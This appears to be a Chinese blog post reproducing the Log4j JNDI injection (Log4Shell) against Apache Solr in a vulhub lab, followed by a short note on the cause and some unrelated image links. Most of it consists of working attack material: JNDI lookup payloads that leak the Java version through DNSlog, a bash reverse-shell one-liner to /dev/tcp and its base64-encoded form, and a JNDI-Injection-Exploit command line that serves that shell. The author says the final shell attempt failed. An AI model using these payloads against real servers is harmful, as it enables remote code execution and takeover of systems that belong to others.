本地下载vulhub复现就完了,环境搭建不讲,网上其他文章很好。
访问该环境:

POC
构造(任选其一):
${jndi:ldap://${sys:java.version}.xxx.dnslog.cn}
${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}
我是用了yakit生成了一个可用域名,当然直接去dnslog平台生成也可以,但是我用习惯这个地方了,还是相当好用的一款国产化漏洞挖掘集成器。

访问:
http://192.168.220.142:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.rsjlpxqral.dgrh3.cn}
访问之后出现一条dnslog日志:

并且知道了java的版本是1.8.0_102
因为poc里面加了一个查看java版本的命令${sys:java.version},所以讲java版本结果回显在dnslog上面来了。
下面说怎么反弹shell操作:
bash -i >& /dev/tcp/192.168.220.142/6666 0>&1
意思是把shell回弹到/192.168.220.142/6666地方
bash编码一下:https://www.sqlsec.com/rce/

bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMC4xNDIvNjY2NyAwPiYx}|{base64, -d}|{bash, -i}
下载利用工具:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
使用命令:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMC4xNDIvNjY2NyAwPiYx}|{base64, -d}|{bash, -i}" -A "http://192.168.220.142/" -C是编码后的内容,-A是反弹shell的ip地址。
注意要先nc监听6666端口

如上图访问
http://192.168.220.142:8983/solr/admin/cores?action=${jndi:ldap://192.168.220.142:1099/eftobp}
额 不知道为啥子没成功。。。。。
然后看了看其他人的文章发现:

就这样吧,反正搞懂了过程,也知道实战中怎么利用了。
而且我的环境是java1.8,真搞不懂
下面来看下原理吧:
Log4j→Log for Java,Apache的开源日志记录组件
JDK→1.8u21以下的版本
看这篇文章吧直接:https://blog.csdn.net/FisrtBqy/article/details/130680143


![[1673]jsp在线考试管理系统Myeclipse开发mysql数据库web结构java编程计算机网页项目](https://img-blog.csdnimg.cn/direct/e90ad48285034212a54fbe979cb962be.png)
![[MRCTF2020]你传你呢 1](https://img-blog.csdnimg.cn/direct/dd9f6aed4c5946079adcee95cc421dac.png)




![[方法] Unity 实现仿《原神》第三人称跟随相机 v1.0](https://img-blog.csdnimg.cn/direct/09c4c208c7244c4187d880f6840a5789.gif)









